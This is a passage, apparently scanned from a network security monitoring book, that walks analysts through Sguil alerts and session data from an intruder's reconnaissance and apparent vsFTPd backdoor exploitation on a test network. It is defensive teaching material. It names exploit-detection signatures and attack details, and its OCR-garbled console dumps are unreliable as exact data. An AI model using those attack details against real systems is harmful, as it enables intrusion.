remote attacks, rather than local variants requiring interaction with a system
that is physically or virtually already available to an intruder.

Server-side Compromise Defined

Chapter 10

A server-side compromise involves an intruder deciding to attack an applica-
tion exposed to the Internet. The application could be a web service, a
file transfer protocol service, a database, or any other software listening to
Internet traffic. Figure 10-1 shows a generic attack pattern for a server-side
compromise.

1. Intruder initiates aftack against exposed,
vulnerable application on victim system.

NETWORK CONNECTION

Infruder = === = == = = = = = - — — - — -~ -~~~ > Victim

2. Attack method exploits vulnerable application
on victim system to execute code or commands.

NETWORK CONNECTION

Intruder - = Victim

Exploited

3. Malicious code interacts with intruder using one of three ways:
a. Intruder repurposes existing connection to victim application
OR

b. Intruder initiates new connection to backdoor created by
malicious code

OR
c. Malicious code causes victim to reach back to intruder

Figure 10-1: Server-side compromise attack pattern

The intruder will reach out to the application to learn more about
it. This act of reconnaissance qualifies as a Cat 6 incident, as discussed
in Chapter 9 (see Figure 9-5). If the intruder tries to take advantage of
any vulnerabilities in its code, that act qualifies as a Cat 3 incident. If the
intruder manages to get the application to do his evil bidding, the attack
is successful and exploitation has occurred. According to the categories out-
lined in Figure 9-5, we now have a Cat 1 intrusion on our hands. After the
intruder executes malicious code or commands on the victim computer, he
opens one or more channels to further enhance his control of the system.
This is called a command-and-control (C2) channel. Establishing a C2 channel
qualifies the activity as a Breach 3 intrusion.

Once the intruder establishes C2 with the victim, he can execute the
rest of his game plan. Perhaps he wants to steal information from this first
victim. Perhaps he wants to pivot from the first victim to another computer
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or application inside the company. Maybe he wants to bounce through this
victim and attack an entirely different organization, using the newly com-
promised victim as a hop, or jumping-off point.

Regardless of what the attacker chooses to do next, the goals of the
CIRT at this point are to quickly scope the extent of the intrusion and to
take rapid containment actions to mitigate risk of data loss, alteration, and
degradation.

Server-side Compromise in Action

For this chapter’s example, we’ll walk through a server-side compromise
that occurs when an intruder attacks an exposed service on a vulnerable
computer that is monitored by a stand-alone NSM platform running SO.
We’ll examine what a sample intrusion looks like in NSM data, and figure
out how to make sense of that data.

The target network is a new segment on the Vivian’s Pets network, as
shown in Figure 10-2. The network consists of a server (192.168.3.5), a desk-
top (192.168.3.13), and supporting network equipment. An NSM sensor
watches the uplink to the Internet through a network tap. The company
CIRT members created what they believed was an isolated test network
with a few computers in order to learn more about security. Unfortunately,
they failed to effectively protect the systems on this segment. In the process
of trying to learn more about computer security, they may have exposed the
company to additional risk.

Test

Work
Tap

Server
192.168.3.5

Desktop
192.168.3.13

Figure 10-2: Test network on Vivian’s Pets network
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In this configuration, the NSM platform will see traffic to and from the
test network. For simplicity, I've configured the network so that NAT is not
required, and when you see the test network interacting with computers out-
side the Vivian’s Pets network, you should assume that no translation takes
place. (In the real world, you would likely need to deal with some degree of
obfuscation due to NAT issues, as described in Chapter 2.)

Starting with Squil
The work of the Vivian’s Pets CIRT begins with a visit to its Sguil console,
which the team uses as its primary interface to NSM data. Recall that Sguil
allows analysts to investigate alerts by viewing session and full content data,
as well as some transaction data.

One day, an analyst logs in to the Sguil console for the NSM platform
shown in Figure 10-2 and sees the alerts shown in Figure 10-3.

L SGUIL-0.8.0/- Connected Tollocalhost NENE X
File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 16:54:03 GMT|

RealTime Evenlsw Escalated Euentsw

T ne SPort |j
RT 1 so.. 4.72 2013-03-0921:31:05  192.168.3.130 43181 192.168.3.1 53 17  PADS New Asset - unknown @domain
RT 1 so.. 4.75 2013-03-09 21:32:07  203.0.113.10 59270 192.168.3.5 5900 6 PADS New Asset - vnc VNC (Protocol 003.003)
RT 1 so.. 4.74 2013-03-0921:32:07  203.0.113.10 47085 192.168.3.5 22 6 PADS New Asset - ssh OpenSSH 4.7p1 (Protocol 2.0)
RT 1 so.. 4.73 2013-03-0921:32:07  203.0.113.10 46866  192.168.3.5 21 6 PADS New Asset - ftp vsFTPd 2.3.4
RT 1 50.C 477 2013-03-09 21:32:08  203.0.113.10 44428  192.168.3.13 21 6 PADS New Asset - ftp vsFTPd 2.3.5
RT 1 so.. 4.78 2013-03-0921:32:08  203.0.113.10 39653 192.168.3.13 22 6 PADS New Asset - ssh OpenSSH 5.9p1 (Protocol 2.0)
RT 1 so.. 4.76 2013-03-09 21:32:08  203.0.113.10 34202 192.168.3.5 6667 6 PADS New Asset - unknown @irc
RT 1 so.. 4.80 2013-03-0921:32:13  203.0.113.10 37866 192.168.3.5 m 6 PADS New Asset - unknown @sunrpc
RT U Eiko 4.79 2013-03-0921:32:13  203.0.113.10 58931 192.168.3.5 2049 6 PADS New Asset - unknown @nfs
RT 2 sO.. 4.81 2013-03-09 21:32:13  203.0.113.10 51225 192.168.3.5 445 6 PADS New Asset - smb Windows SMB
RT 1 so 4.82 2013-03-0921:32:14  203.0.113.10 58527 192.168.3.5 80 6 PADS New Asset - http Apache 2.2.8 (Ubuntu)
RT 1 so.. 4.84 2013-03-0921:32:17  203.0.113.10 44125  192.168.3.5 2121 6 PADS New Asset - ftp ProFTPD Server 1.3.1
RT 1 so.. 4.85 2013-03-0921:32:17  203.0.113.10 46856  192.168.3.5 25 6 PADS New Asset - smtp Postfix SMTP (metasploitable.l...
RT 1 so.. 4.83 2013-03-0921:32:17  203.0.113.10 54794 192.168.3.5 3306 6 PADS New Asset - unknown @mysq|
RT 1 so.. 4.87 2013-03-0921:32:28  203.0.113.10 47992 192.168.3.5 aieo 6 PADS New Asset - http Apache Coyote 1.1
- 1 ik 3.6012 2013-03-09 21:38:38  192.168.3.5 6200 203.0.113.10 60155 6 GPL ATTACK_RESPONSE id check returned root
- 2 so.. 3.601 2013-03-0921:38:38  203.0.113.10 50376 192.168.3.5 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
RT 1 ik 4.88 2013-03-09 21:42:00  203.0.113.10 60155 192.168.3.5 6200 6 PADS New Asset - sql MySQL 3.0.20-0.1ubuntu1
- 2 so.. 3.6015  2013-03-1001:5%:43 203.0.113.77 192.168.3.5 1 GPL ICMP_INFO PING *NIX
- 2 so.. 3.6014 2013-03-1001:5%:43 203.0.113.77 192.168.3.5 1 GPL ICMP_INFO PING BSDtype 7
H
= e [ Show Packet Data [ Show Rule
IP Resolution W Agent Status ]Snnrtstatstus] System Msgs ] —
™ Reverse DNS [ Enable External DNS Source 1P Dest 1P Ver HL TOS len 1D Flags Offset TTL ChkSu-n':
Src1P: | | | | |
Src Name: UAPRSF
Source Dest RRRCSSYI
Dst1P: Port Port TOGKHTNN Seq# Ack#  Offset Res Window Urp ChkSum
— | . e = - — — |
Whois Query: * None  SrcIP  DstIP TI | ot it e ML

Figure 10-3: Sguil console for Vivian's Pets

The default Sguil console displays alert data. The alerts shown here
are generated primarily by the PRADS passive asset detection system
(with entries prefaced by PADS) and by the Snort IDS engine (with entries
prefaced by GPL or ET).

We see a slew of PRADS events with source IP address 203.0.113.10.
This IP address represents a remote intruder. (The 203.0.113.0/24 net
block is reserved for documentation purposes per RFC 5735, along with
the 198.51.100.0/24 net block we saw in Chapter 2.)
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The events starting with Alert ID 4.75 and ending with 4.87 represent
PRADS reporting the discovery of new services on two computers: 192.168.3.5
and 192.168.3.13, the two systems in the test network segment shown in
Figure 10-2. As PRADS learns about services by watching computers interact
with them, it generates these sorts of alerts. Here, the result is a handy sum-
mary of at least some of the services that the remote intruder at 203.0.113.10
appears to have discovered. Starting at 2013-03-09 21:32:07, the timestamp
on the first alert with 203.0.113.10 as the source IP address, we see that
203.0.113.10 conducted network reconnaissance against at least two com-
puters in the test network.

What about the other activity? The first alert, with source IP address
192.168.3.130, appears to be PRADS reporting the discovery of a DNS server
on 192.168.3.1. That is not unusual. The alerts after the PRADS events from
203.0.113.10 appear to be more worrying.

Before digging into these alerts, let’s take a slight detour to validate our
hypothesis that 203.0.113.10 conducted network reconnaissance against this
test network.

Querying Squil for Session Data

To determine just what network reconnaissance 203.0.113.10 performed,
we can query Sguil for session data to or from 203.0.113.10. Because of the
number of target services in the Sguil console, we can guess that 203.0.113.10
scanned many TCP ports on the two target computers. Therefore, when we
query for session data in Sguil, we’ll manually adjust the session limit count
upward from 1000 results to 10,000 results.

To perform the session data query, we highlight one of the alert records
showing 203.0.113.10 as the source IP address, and then select Advanced
Query » Query Sancp Table » Query SrcIP, as shown in Figure 10-4.

Alert ID Date/Time DstIP DPort r | Event
50... 4.72 2013-03-09 21:31:05  192.168.3.130 43181 192.168.3.1 53 17 PADS New Asset

RT so.. 475 2013-030921:32:07 203.0.113.10 50270 192.168.3.5 5000 6  PADS New Asset
RT so.. 474 2013-03-0921:32:07 Quick Query »5 192.168.3.5 22 6  PADS New Asset
RT so.. 473 2013-03-0921:32:07 YRS ery Query Event Table w21 6  PADS New Asset

50... 4.77 2013-03-09 21:32:08  Dshield IP Lookup C o Table

=
=
- -E-E- - -
w
o

478  2013-030921:32:08 203.0.113.10 39%! Query PADSTable  » query SrclP/1 Hou et

RT S0... 4.76 2013-03-09 21:32:08  203.0.113.10 342 set
Query DstIP

RT 50... 4.80 2013-03-0921:32:13  203.0.113.10 37866 192.168.3.5 et
Query DstIP/1 Hour

RT 80... 4.79 2013-03-09 21:32:13  203.0.113.10 58931 192.168.3.5 set
Query SrcTo Dst

RT 50... 4.81 2013-03-0921:32:13  203.0.113.10 51225 192.168.3.5 et
Query Src To Dst/1 Hour

RT 50... 4.82 2013-03-09 21:32:14  203.0.113.10 58527 192.168.3.5 set

Figure 10-4: Querying for session data using the source IP address

The resulting Query Builder window offers two Where Clause boxes for
us to edit. We need to make sure that the default start times for the session
records will capture the data we care about. In this case, the activity began
on March 9, 2013, at 21:32:07 UTC, so we modify the Where Clause boxes
to search for the proper time, as shown in Listing 10-1.
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WHERE sancp.start time > '2013-03-09' AND sancp.src_ip = INET_ATON('203.0.113.10")

Listing 10-1: Search syntax for session data involving 203.0.113.10

After also adjusting the LIMIT field in the Query Builder window from
1000 to 10,000 results, we choose Submit to run the query. The answer from
the Sguil database produces 2104 records, beginning with those shown in
Figure 10-5.

- 'SGUIL-0-8.0'- Conhected Tolocalhost o m X

File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 18:20:24 GMT)
RealTime Evenix] Escalated Evenls\ Sancp Query 1 ]

Close | SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET_NTOA(sancp.src_ip), sancp.src_port, b Submit
INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX -
Export (p_key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip =INET_ATON('203.0.113.10') ) UNION { v Edit
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 192.168.3.1 0 1 4 56 1] 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 192.168.3.130 0 1 4 56 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 192.168.3.5 0 1 1 8 1 8
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 192.168.3.13 0 1 3 24 3 24
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 192.168.3.254 0 1 4 56 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 192.168.3.131 0 1 4 56 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52935 192.168.3.1 80 6 1 20 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52936 192.168.3.1 443 6 1 24 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52935  192.168.3.130 80 6 1 20 1] 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52935 192.168.3.130 443 6 1 24 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52936  192.168.3.130 80 6 9 20 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52936 192.168.3.1 80 6 1 20 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52936  192.168.3.130 443 6 1 24 o 0
sovm-eth1 5.1362864... 2013-03-09 21z 2013-03-09 21: 203.0.113.10 52935 192.168.3.131 80 6 1 20 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52935 192.168.3.131 443 6 1 24 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52935 192.168.3.254 80 6 1 20 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52935  192.168.3.254 443 6 1 24 1] 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52936  192.168.3.254 80 6 1 20 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52936  192.168.3.254 443 6 1 24 1] 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52936  192.168.3.131 80 6 1 20 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 52936  192.168.3.131 443 6 1 24 o 0
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 53191 192.168.3.5 6692 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 53191 192.168.3.13 48080 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 53191 192.168.3.13 999 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 53191 192.168.3.13 3322 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 53191 192.168.3.5 1974 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 53191 192.168.3.5 9110 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21: 2013-03-09 21: 203.0.113.10 53191 192.168.3.13 7778 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32: 2013-03-09 21: 203.0.113.10 53191 192.168.3.5 55555 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:. 203.0.113.10 53191 192.168.3.13 554 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:. 203.0.113.10 53191 192.168.3.13 49165 6 1 24 1 20
i atha € ancnaca Sn19 A% A0 aa.09.ns Sn19 A% AN a4.99.n3  cnnndsnan cnans snnacanan cnca c - na P an 3
1 ]

Figure 10-5: Session data to or from 203.0.113.10 showing reconnaissance phases 1 and 2, and the begin-
ning of phase 3

The activity from 203.0.113.10 begins at 2013-03-09 21:31:44. We can
break the sequence of events into several distinct elements.

e  First, the attacker uses ICMP (IP Protocol 1) to perform reconnaissance
against a subset of systems on the 192.168.3.0/24 network. We can’t be
sure, but perhaps the intruder did earlier reconnaissance (not recorded
here) that led him to try to ping only these six systems. The ICMP scan
is phase 1. He begins phase 2 at 2013-03-09 21:31:45, consisting of scans
against ports 80 and 443 TCP on several systems.
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e Phase 3 begins at 2013-03-09 21:32:01 with scans against a wide variety
of TCP ports. In phase 4, also at the same timestamp, we see smaller
scans of what are likely open ports. (The activity is so fast that it appears
to all start in the same second of time.)

Figure 10-6 shows the end of phase 3 and the beginning of phase 4.

- 'SGUIL-0.8.0- ConnectedTollocalhost A _NEE X

File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2 2013-03-13 18:23:35 GMT|
RealTime E\ﬁemsw Escalated Evems\ Sancp Query 1 ]

Close ||{ SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET_NTOA(sancp.src_ip), sancp.src_port, b Submit
INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX -
Export (p_key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_ATON('203.0.113.10") ) UNION ( v Edit
nx I End Time rt 0 r
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 1054 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 464 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 33899 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 1151 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 1082 6 1l 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 912 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 445 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 6667 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 6000 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 21 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 22 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 m 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 5432 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 8180 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 5900 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 1099 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 1524 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 512 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 514 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 25 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 80 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 23 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 139 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.13 22 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 BDO9 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 2049 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 2121 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 21 6 2] 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 513 6 2 44 1 24 o
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 53 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 3306 6 2 44 1 24 7
T I

Figure 10-6: Reconnaissance phase 3 ends and phase 4 begins.

Figure 10-7 shows that phase 4 ends at 2013-03-09 21:32:06 with the
intruder changing tactics again. At 2013-03-09 21:32:07, he conducts addi-
tional reconnaissance, beginning phase b—interrogating active services.
We see him sending and receiving higher amounts of data as shown in the
far-right columns in Figure 10-7. (Higher counts of data sent between two
computers typically signify a more “meaningful” conversation. Low counts
are usually just exchanges of state information for the TCP three-way hand-
shake, for example.)

The four right-most columns in Figures 10-5 through 10-8 show packets
and data sent by the source, and packets and data sent by the destination.
The intruder is likely profiling the target active services using a recon-
naissance tool to gather information about the services available. The
intruder compares information derived from the scan to find available
attack methods, and if he finds one that takes advantage of an exposed
vulnerability, he will exploit that weakness.

Server-side Compromise 213

www.it-ebooks.info


http://www.it-ebooks.info/

Ll 'SGUIL-0.8.0. d e =

File Query Reports Sound: Off ServerName: localhost UserName: sovm UserlD: 2 2013-03-13 18:20:58 GMT)|
RealTime Euemsw Escalated Evems\ Sancp Query 1 ]

Close ( SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET_NTOQA(sancp.src_ip), sancp.src_port, o Submit
INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_prote, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX
Export (p_key) INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time >'2013-03-09' AND sancp.src_ip =INET_ATON('203.0.113.10') ) UNION ( Edit
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 2049 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 2121 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 21 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 513 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 53 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:01 2013-03-09 21:32:01  203.0.113.10 53191 192.168.3.5 3306 6 2 44 1 24
sovm-eth1 5.1362864... 2013-03-09 21:32:04 2013-03-09 21:32:04  203.0.113.10 53202 192.168.3.13 135 6 1 24 1 20
sovm-eth1 5.1362864... 2013-03-09 21:32:06 2013-03-09 21:32:06  203.0.113.10 53203 192.168.3.13 135 6 1 24 1 20
savm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:18  203.0.113.10 47963  192.168.3.5 8180 6 5 172 3 104
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:18  203.0.113.10 56007 192.168.3.5 139 6 5 186 3 104
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-0921:32:13  203.0.113.10 37519  192.168.3.5 5432 6 4 140 4 136
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-0921:32:13  203.0.113.10 41514 192.168.3.5 8009 6 4 154 4 136
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-0921:32:13  203.0.113.10 42810  192.168.3.5 6000 6 4 158 4 136
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:07  203.0.113.10 47085  192.168.3.5 22 6 3 168 3 142
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 50577  192.168.3.5 23 6 6 204 4 148
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:07  203.0.113.10 59270 192.168.3.5 5900 6 5 168 4 148
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-0921:32:13  203.0.113.10 35347  192.168.3.5 1099 6 5 175 4 152
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13  203.0.113.10 58931 192.168.3.5 2049 6 6 244 4 164
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:23  203.0.113.10 45304  192.168.3.5 513 6 5) 188 5 169
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-0921:32:13  203.0.113.10 37866  192.168.3.5 m 6 6 244 4 172
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 52693  192.168.3.5 512 6 4 168 5 172
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 44125  192.168.3.5 2121 6 6 204 4 192
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13  203.0.113.10 38307 192.168.3.5 53 6 6 232 4 200
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 35387 192.168.3.5 514 6 4 154 5 207
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 46856  192.168.3.5 25 6 6 194 4 218
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:07  203.0.113.10 46866  192.168.3.5 21 6 6 176 5 228
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:13  203.0.113.10 51225  192.168.3.5 445 6 6 368 4 237
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 54794  192.168.3.5 3306 6 6 204 6 286
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:18  203.0.113.10 52157  192.168.3.5 1524 6 9 276 7 352 =
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:17  203.0.113.10 34202 192.168.3.5 6667 6 6 176 5 395
sovm-eth1 5.1362864... 2013-03-09 21:32:07 2013-03-09 21:32:14  203.0.113.10 58527 192.168.3.5 80 6 9 326 7 1305
] T —

Figure 10-7: Reconnaissance phase 4 ends and phase 5 begins.
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The final phase of the activity begins at 2013-03-09 21:38:38, as shown
in Figure 10-8. The intruder’s reconnaissance tool has finished gathering
information, and he pauses to review his results. After discovering a weak-
ness, he appears to exploit it, although that may not be obvious from the ses-
sion data shown. (We’ll examine this alert data on the original Sguil console
for clarification.) For now, review the session records starting at 21:38:38.

The sessions beginning at 21:38:38 look very different from the earlier
ones. One of the sessions shows the transfer of a lot of data, involving port 6200
TCP. Another session (records showing activity involving port 21 TCP) shows
an active FTP command channel. Having seen five phases of reconnaissance
from 203.0.113.10, followed by focused activity involving ports 21 and 6200

TCP, we should take a close look at these last connections.

Returning to Alert Data

Let’s examine two alerts in the Sguil console. As shown in Figure 10-9, we
see two worrisome alerts titled GPL ATTACK _RESPONSE id check returned root
and ET EXPLOIT VSFTPD Backdoor User Login Smiley. There is also an odd alert
with the title PADS New Asset - sql MySQL 3.0.20-0.1ubuntui, and then two

ICMP alerts.
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- 'SGUIL-0.8.0'- Connected Tollocalhost £ oEx

File Query Reports Sound: Off ServerName: localhost UserName: sovm UserID: 2
RealTime Euents] Escalated Euents\ Sancp Query 1 W

Close I( SELECT sensor.hostname, sancp.sid, sancp.sancpid, sancp.start_time as datetime, sancp.end_time, INET_NTOA(sancp.src_ip), sancp.src_port, Submit
INET_NTOA(sancp.dst_ip), sancp.dst_port, sancp.ip_proto, sancp.src_pkts, sancp.src_bytes, sancp.dst_pkts, sancp.dst_bytes FROM sancp IGNORE INDEX
Export I(p,key} INNER JOIN sensor ON sancp.sid=sensor.sid WHERE sancp.start_time > '2013-03-09' AND sancp.src_ip = INET_ATON('203.0.113.10') ) UNION ( Edit
sovm-eth1 5.1362864... 2013-03-09 21 2013-03-0921:33:48  203.0.113.10 52236 192.168.3.5 1524 6 7 219 5 196
sovm-eth1 5.1362864... 2013-03-09 21 2013-03-09 21:33:57  203.0.113.10 35469 192.168.3.5 514 6 5 179 5 219
sovm-eth1 5.1362864... 2013-03-09 21 2013-03-0921:33:53  203.0.113.10 52238 192.168.3.5 1524 6 7 231 5 196
sovm-eth1 5.1362864... 2013-03-0921 2013-03-0921:34:02  203.0.113.10 35471 192.168.3.5 514 6 5 216 5 219
sovm-eth1 5.1362864... 2013-03-0921 2013-03-0921:33:58  203.0.113.10 52240 192.168.3.5 1524 6 8 300 ] 349
sovm-eth1 5.1362864... 2013-03-09 21 2013-03-09 21:34:07  203.0.113.10 35473  192.168.3.5 514 [} 5) 33 5 219
sovm-eth1 5.1362864... 2013-03-09 21 2013-03-0921:34:03  203.0.113.10 52242  192.168.3.5 1524 [} 6 363 4 212
